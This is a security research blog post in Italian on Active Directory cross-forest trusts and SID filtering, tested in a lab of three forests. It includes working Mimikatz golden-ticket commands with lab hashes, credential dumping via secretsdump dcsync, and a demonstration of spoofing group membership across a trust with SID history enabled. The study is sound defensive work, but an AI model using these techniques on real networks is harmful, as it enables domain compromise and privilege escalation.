Active Directory forest trusts parte 1 – Come funziona il filtraggio SID?

Questo è il primo post di una serie sui cross-forest Active Directory trusts. Spiegherà cosa sono esattamente i Forest Trusts e come sono protetti con il filtraggio SID. Se siete nuovi ai trust di Active Directory, vi consiglio di iniziare a leggere la guida approfondita di harmj0y su di essi. Dopo aver letto il suo (eccellente) post avevo un sacco di domande su come funziona effettivamente sotto il cofano e su come i trust all’interno della stessa foresta AD si confrontano con i trust tra foreste diverse. Questa serie di blog è sia il mio viaggio che la mia documentazione su come ho ricercato questo argomento e come lo capisco ora. Preparatevi per una profonda immersione in trust, Kerberos, golden ticket, mimikatz e impacket!

Questo post discuterà i trust tra foreste diverse. Una foresta è un insieme di uno o più domini, che fanno parte di uno o più alberi di dominio. Nelle organizzazioni con un solo dominio, quel dominio costituisce anche l’intera foresta. Nella documentazione Microsoft, i trust sono spesso chiamati interforest trust (trust tra due foreste diverse) o intraforest trust (trust tra domini nella stessa foresta). Poiché queste parole mi confondono sempre, in questo post mi riferirò ad esse come trust all’interno della foresta o trust tra foreste (o cross-forest). È anche importante tenere a mente che mentre stiamo discutendo i trust tra due foreste, i trust sono sempre definiti tra domini. I trust delle foreste possono essere creati solo tra due domini radice di foreste diverse, quindi qualsiasi menzione in questo post di un trust della foresta è il trust tra due diversi domini radice.

In una singola foresta, tutti i domini si fidano l’uno dell’altro e si può passare da un dominio compromesso a tutti gli altri, come spiegato nella ricerca di Sean Metcalf sui trust di dominio. Per ribadire: Un dominio Active Directory non è un confine di sicurezza, una foresta Active Directory lo è.

Parleremo anche degli identificatori di sicurezza (SID). Un SID è qualcosa che identifica in modo univoco un principale di sicurezza, come un utente, un gruppo o un dominio. Uno dei domini nelle foreste di prova ha SID S-1-5-21-3286968501-24975625-1618430583. Il noto gruppo Domain Admins, che ha ID 512, ha il SID composto dal SID del dominio e dall’ID (chiamato RID nella terminologia AD), dandogli il SID S-1-5-21-3286968501-24975625-1618430583-512 in questo dominio.

Il setup

Il setup contiene 3 foreste Active Directory: A, B e C. Sia la foresta A che la foresta C hanno una fiducia transitiva bidirezionale con la foresta B (arriveremo a cosa significa esattamente più tardi). La foresta A e la foresta C non hanno un trust tra di loro. La foresta A è l’unica foresta con due domini: forest-a.local e sub.forest-a.local. Poiché questi domini sono entrambi all’interno della foresta A, hanno una fiducia bidirezionale genitore-figlio tra di loro. Il setup è mostrato nella seguente immagine:

forests setup

I domini forest-a e forest-b hanno entrambi un Domain Controller e un member server (non mostrato nell’immagine), gli altri domini consistono solo in un singolo Domain Controller. Tutta questa configurazione gira in Azure ed è gestita tramite Terraform, che gestisce le macchine virtuali, le reti, il DNS e l’impostazione della foresta, mentre i Trust sono stati impostati manualmente in seguito.

Da A a B, cosa c’è in un PAC?

Supponiamo di essere nella foresta A e di voler accedere alle risorse della foresta B. Abbiamo il nostro Ticket Granting Ticket (TGT) Kerberos, che è valido nel dominio radice della foresta A in cui ci troviamo (convenientemente chiamato forest-a). Quando vogliamo accedere a risorse al di fuori del nostro dominio attuale (sia all’interno della stessa foresta che in una foresta diversa), Windows ha bisogno di un ticket di servizio per questa risorsa, in questo esempio forest-b-server.forest-b.local. Il nostro TGT per forest-a è ovviamente inutile in forest-b poiché è criptato con l’hash dell’account krbtgt in forest-a, che forest-b non ha. In termini di Kerberos, ci stiamo autenticando in un altro regno. Quindi quello che il nostro client fa in background è richiedere un ticket di servizio per la risorsa a cui stiamo cercando di accedere in forest-b al Domain Controller (DC) per forest-a. Il DC (che in termini Kerberos è un Key Distribution Center, o KDC) non ha una risorsa localmente con il suffisso forest-b.local, cerca qualsiasi fiducia con le foreste che hanno questo suffisso.

Perché c’è una fiducia bidirezionale tra la foresta A e la foresta B, il DC di forest-a può emetterci un ticket di riferimento (TGT) per forest-b. Questo ticket è firmato con la chiave di fiducia Kerberos inter-realm e contiene i gruppi di cui siamo membri in forest-a. La foresta B accetterà questo ticket e ci concederà un biglietto di servizio per forest-b-server, che possiamo usare per autenticarci. Una panoramica schematica è mostrata qui sotto:

inter-realm kerberos

Quando ci colleghiamo sulla nostra postazione nella foresta A al server nella foresta B, possiamo vedere i ticket con il comando klist:

tickets involved

Il secondo ticket dall’alto è il nostro TGT iniziale, che possiamo usare per richiedere il TGT per forest-b. Potete vedere che questo TGT per forest-b (in alto) ha il principal krbtgt per forest-b nel campo server. Questo è l’account nella foresta A che è associato al trust (questo account si chiama forest-b$ e risiede nella parte Users della directory). La sua parte criptata è criptata con la chiave di fiducia interregionale che questi domini condividono.

Il terzo ticket dall’alto è il ticket che possiamo usare nella foresta B per contattare il server lì. È un ticket di servizio datoci dal DC della foresta B. Come potete vedere nel campo Server, questo ticket è stato dato e valido nel reame Kerberos FOREST-B.LOCAL.

Ora immergiamoci in quello che c’è effettivamente in questo ticket. Ogni Kerberos TGT richiesto da Windows contiene un Privilege Attribute Certificate, o PAC. Il formato è descritto in MS-PAC su MSDN. Questo PAC contiene tra le altre cose i SID dei gruppi di cui siamo membri. Per vedere cosa c’è effettivamente nel PAC, dobbiamo prima ottenere i ticket dalla memoria. Per questo useremo Mimikatz, con il quale possiamo scaricare tutti i ticket Kerberos su disco con il comando sekurlsa::tickets /export. Sebbene Mimikatz contenga effettivamente del codice di debug di Kerberos, non sono riuscito a capire come funziona, e non so scrivere in C quindi modificare qualcosa era comunque fuori questione. Fortunatamente la mia libreria Python preferita impacket supporta tutti i tipi di cose Kerberos. Impacket prende i ticket Kerberos in formato ccache, che non è il formato che Mimikatz esporta, ma possiamo facilmente convertirli con kekeo. Abbiamo solo bisogno di eseguire il comando misc::convert ccache ourticket.kirbi e Kekeo lo salverà come un file .ccache che possiamo leggere con Impacket.

Per decifrare il PAC ho scritto alcune utility basate su esempi di impacket, che sto rilasciando come parte di questa ricerca. Naturalmente per decifrare le parti criptate dei ticket Kerberos abbiamo bisogno delle chiavi di cifratura, quindi le ho estratte per tutti i domini usando secretsdump.py e la sua implementazione dcsync. Per il primo TGT dobbiamo aggiungere l’hash krbtgt al file. In base allo screenshot qui sopra, potete vedere che avremo bisogno della chiave aes256-cts-hmac-sha1-96 scaricata da secretsdump.

Lo strumento getcfST.py viene utilizzato per richiedere un Service Ticket in una foresta diversa sulla base di un TGT nel file .ccache (potete specificare il file da utilizzare con export KRB5CCNAME=myticket.ccaches). Questo decifrerà e scaricherà l’intero PAC, il cui output può essere visto qui per chi è interessato. Ho aggiunto alcune linee di codice che stampano le parti importanti per noi in un formato più leggibile:

Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1

Questo è un PAC abbastanza standard. Vediamo che siamo membri di diversi gruppi, e poiché questo è l’account Administrator (ID 500, anche se ha un nome diverso) di Forest A con cui stiamo attualmente testando, è membro di diversi gruppi admin predefiniti, come Domain Admins (512) e Enterprise Admins (519). Abbiamo anche l’Extra SID S-1-18-1, che indica che ci stiamo autenticando in base alla prova di possesso delle credenziali.

Per decifrare il secondo TGT, dobbiamo cambiare la chiave dell’account krbtgt con quella dell’account forest-b$, che è la chiave di fiducia inter-realm. In questo caso il PAC è criptato con RC4, che usa l’hash di NT come input (sì, quello che si usa per passare l’hash). Questo è il default a meno che la casella “The other domain supports Kerberos AES Encryption” sia selezionata. Come è visibile nel dump grezzo, il PAC non è cambiato, supportando l’ipotesi che il DC semplicemente ricodifica il PAC come parte del ticket con la chiave di fiducia inter-realm per la foresta B.

Il TGS è una storia leggermente diversa. Oltre a richiedere alcune modifiche nell’esempio getcfST.py, e a dover specificare la chiave AES-256 dell’account del computer forest-b-server per decifrarlo, possiamo vedere che sono state aggiunte altre informazioni al PAC (qui il dump grezzo):

Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Vediamo che è stata aggiunta una nuova sezione, contenente il SID del dominio forest-b e un gruppo di cui il nostro account è membro nella foresta B. Questi SID fanno parte delle strutture ResourceGroup del PAC e servono a memorizzare le appartenenze a qualsiasi gruppo locale del dominio forest-b. Come spiegato in questo post da harmj0y, i gruppi locali di dominio sono gli unici gruppi che possono contenere presidi di sicurezza di altre foreste. Nel dominio forest-b, il nostro utente superuser della foresta A è membro del gruppo Testgroup2, che potete vedere qui sotto.

tickets coinvolti

Perché questo si riflette all’interno del nostro PAC, che i server a cui ci autentichiamo usando il nostro Kerberos Service Ticket usano per l’autorizzazione, qualsiasi privilegio assegnato a Testgroup2 sarà applicato all’account superuser della foresta diversa. Questo è il modo in cui l’autenticazione e l’autorizzazione funzionano attraverso i trust.

Golden ticket e filtraggio SID

Un paio di anni fa Sean Metcalf e Benjamin Delphy hanno lavorato insieme per aggiungere il supporto SID History a Mimikatz, che ha permesso l’escalation da un dominio Active Directory a un altro all’interno della stessa foresta. La procedura per questo è dettagliata qui. Come si traduce questo nei trust con un’altra foresta? Creiamo un golden ticket con alcuni SID interessanti per vedere come vengono elaborati quando attraversano il confine della foresta. Usiamo il seguente comando Mimikatz per creare un golden ticket nella nostra foresta attuale:

kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:2acc1a3824a47c4fcb21ef7440042e85 /user:Superuser /target:forest-a.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106 /ptt

Distruggiamo questo comando. Stiamo creando un golden ticket in forest-a, firmato con l’hash krbtgt di forest-a. Come SID extra includiamo alcuni SID interessanti:

  • S-1-5-21-3286968501-24975625-1618430583-1604, il SID di un gruppo di cui non siamo effettivamente membri
  • S-1-5-21-3286968501-24975625-1111111111-1605, il SID di un dominio che in realtà non esiste
  • S-1-18-1, il SID che Windows aggiunge indicando che ci siamo autenticati con prova di possesso di credenziali
  • S-1-5-21-2897307217-3322366030-3810619207-1106, un gruppo in forest-b

creando un golden ticket con Mimikatz

Il flag /ptt inietta il ticket in memoria, e navigando in \forest-b-server.forest-b.local non vediamo nessun messaggio di errore, indicando che il ticket è stato usato con successo per accedere a una risorsa in forest-b. Esportiamo i ticket come prima e li decifriamo nello stesso modo della sezione precedente.

Il TGT per forest-a contiene i SID previsti:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106

Il TGT che abbiamo ottenuto per forest-b dal Domain Controller di forest-a, firmato con la chiave di fiducia inter-realm, contiene esattamente le stesse informazioni:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106

Questo suggerisce di nuovo che il DC non convalida il PAC, ma lo ri-firma semplicemente con la chiave inter-realm per forest-b, anche se contiene un gruppo di cui non siamo effettivamente membri.

Una volta che presentiamo questo TGT al DC in forest-b, otteniamo indietro il nostro Service Ticket, che ha il seguente PAC:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Cosa è successo qui? Vediamo che ancora una volta i nostri membri nel dominio sono stati aggiunti al PAC, ma che alcuni SID sono stati filtrati. Qui è dove il meccanismo di sicurezza di filtraggio SID entra in gioco, filtrando tutti i SID che non fanno parte di forest-a. Le regole per il filtraggio SID sono descritte su MSDN. Le regole interessanti qui sono quelle con la voce ForestSpecific. Questi SID sono consentiti solo da un PAC all’interno della foresta. Poiché il nostro PAC proviene dall’esterno della foresta, questi SID saranno sempre filtrati dal nostro PAC. Le 3 regole dopo quelle ForestSpecific si assicurano che tutti i SID che non provengono dalla foresta A siano filtrati. Questo include sia il SID inesistente che abbiamo fornito, sia qualsiasi SID non ForestSpecific che esiste nella foresta B.

Ci permette ancora di fingere di essere qualsiasi utente nella foresta A, quindi se agli utenti della foresta A sono stati dati privilegi speciali nella foresta B (che è probabilmente il motivo per cui l’intero trust è stato istituito in primo luogo), questi sono ora compromessi.

Rilassamento del filtraggio SID

Quello che ha attirato la mia attenzione all’inizio di questa ricerca è un’opzione per i trust che è disponibile solo tramite lo strumento netdom, e non appare nell’interfaccia grafica. Una delle pagine della documentazione Microsoft descrive la possibilità di permettere la cronologia SID sui trusts cross-forestali. Cosa fa questo? Abilitiamo la cronologia SID sul trust dalla foresta B ad A (che riguarda gli utenti che si autenticano da A in B):

C:\Users\superuser>netdom trust /d:forest-a.local forest-b.local /enablesidhistory:yesEnabling SID history for this trust.The command completed successfully.

Cos’è cambiato? Vediamo come questo si traduce nel flag TrustAttributes dell’oggetto Trusted Domain. Puoi interrogare questo usando diversi strumenti, qui sotto ti mostra l’output del file domain_trusts.html di ldapdomaindump eseguito contro la foresta B, che è uno strumento che ho scritto un po’ di tempo fa per raccogliere informazioni AD.

trust flags for forest-b

La nostra fiducia con la foresta A ora ha il flag TREAT_AS_EXTERNAL. Nella documentazione Microsoft pertinente, è scritto quanto segue:

Se questo bit è impostato, allora un cross-forest trust verso un dominio deve essere trattato come un trust esterno ai fini del SID Filtering. I cross-forest trusts sono filtrati più rigorosamente dei trusts esterni. Questo attributo ammorbidisce questi cross-forest trusts per renderli equivalenti agli external trusts. Per maggiori informazioni su come ogni tipo di trust è filtrato, vedi la sezione 4.1.2.2.

Questo rimanda alla sezione che descrive il filtraggio SID. Guardiamo cosa succede se offriamo lo stesso TGT contro il forest-b DC:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Il nostro Service Ticket dal forest-b DC ora include tutti i SID che abbiamo messo nel nostro precedente ticket Mimikatz! Questo significa che possiamo specificare qualsiasi SID che non è filtrato come ForestSpecific nel nostro PAC e che sarà accettato dal DC della foresta B.

Creiamo un nuovo golden ticket con qualche altro SID per testare questa ipotesi:

kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:b8e9b4b3feb56c7ba1575bf7fa3dc76f /user:Superuser /target:forest-b.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106,S-1-5-21-2897307217-3322366030-3810619207-512,S-1-5-21-2897307217-3322366030-3810619207-519,S-1-5-21-2897307217-3322366030-3810619207-548,S-1-5-21-2897307217-3322366030-3810619207-3101

I nuovi SID inclusi qui:

  • S-1-5-21-2897307217-3322366030-3810619207-512: Domain Admins, dovrebbero essere filtrati dalla regola esplicita ForestSpecific
  • S-1-5-21-2897307217-3322366030-3810619207-519: Enterprise Admins, dovrebbe essere filtrato dalla regola esplicita ForestSpecific
  • S-1-5-21-2897307217-3322366030-3810619207-548: Account Operators, dovrebbe essere filtrato dalla regola ForestSpecific che disconosce i SID tra 500 e 1000.
  • S-1-5-21-2897307217-3322366030-3810619207-3101: È un gruppo che è membro di Domain Admins, non dovrebbe essere filtrato.

Come avrete notato, quanto sopra è effettivamente firmato con la chiave di fiducia inter-realm, quindi stiamo creando direttamente il TGT che è valido per Forest B qui, per saltare il passo di offrirlo al Forest A DC prima.

Ora otteniamo quanto segue nel PAC del nostro Service Ticket:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106 -> S-1-5-21-2897307217-3322366030-3810619207-3101Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Alcune cose da notare:

  • I gruppi DA/EA/Account Operators vengono effettivamente rimossi dal filtraggio SID
  • Il gruppo Domain Admins non viene aggiunto alla parte ResourceGroup del PAC, anche se il gruppo 3101 è un membro diretto di questo gruppo. Questo perché il gruppo Domain Admins è un gruppo globale, mentre solo i gruppi locali di dominio sono aggiunti nel PAC.

Quello che significa per un attaccante è che puoi spoofare qualsiasi gruppo RID >1000 se la cronologia SID è abilitata in una Forest trust! Nella maggior parte degli ambienti, questo permetterà ad un attaccante di compromettere la foresta. Per esempio i gruppi di sicurezza di Exchange, che permettono un’escalation di privilegi a DA in molte configurazioni, hanno tutti RID più grandi di 1000. Inoltre molte organizzazioni avranno gruppi personalizzati per amministratori di workstation o helpdesk che hanno privilegi di amministratore locale su workstation o server. Per esempio, ho appena dato al gruppo IT-Admins (con RID 3101 che fa parte del nostro golden ticket) privilegi di amministratore sulla macchina forest-b-server. Dopo aver scambiato il nostro TGT con un biglietto di servizio, possiamo autenticarci con questo biglietto sulla macchina:

accesso amministratore tramite l'appartenenza spoofed

Conclusioni

I trust tra foreste sono per default strettamente filtrati e non permettono a nessun SID esterno a quella foresta di viaggiare sul trust. Un aggressore che compromette una foresta di cui ci si fida può comunque impersonare qualsiasi utente di quella foresta, e quindi ottenere l’accesso a risorse che sono state esplicitamente concesse a utenti/gruppi in quella foresta.

Se la cronologia SID è abilitata per una fiducia tra foreste, la sicurezza è significativamente indebolita e gli attaccanti possono impersonare l’appartenenza a qualsiasi gruppo con un RID maggiore di 1000, che nella maggior parte dei casi può risultare in una compromissione della foresta.Se sei un amministratore IT, considera attentamente a quali utenti in foreste diverse concedi l’accesso nella tua foresta, perché ogni utente a cui viene concesso l’accesso indebolisce il confine di sicurezza tra le foreste. Non consiglierei di permettere la cronologia dei SID tra le foreste a meno che non sia assolutamente necessario.

Nella parte seguente (o nelle parti successive, chi lo sa) ci immergeremo in come funziona la Transitività della fiducia e discuteremo altri tipi di fiducia con domini al di fuori della foresta. Questo significa che inizieremo anche a giocare con Forest C e sub.forest-a.

Gli strumenti

Gli strumenti utilizzati in questo post sono disponibili come proof-of-concept sul mio GitHub. Questi strumenti richiederanno modifiche manuali per essere utilizzabili e sono forniti AS-IS alle persone che vogliono riprodurre o immergersi ulteriormente in questa ricerca.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato.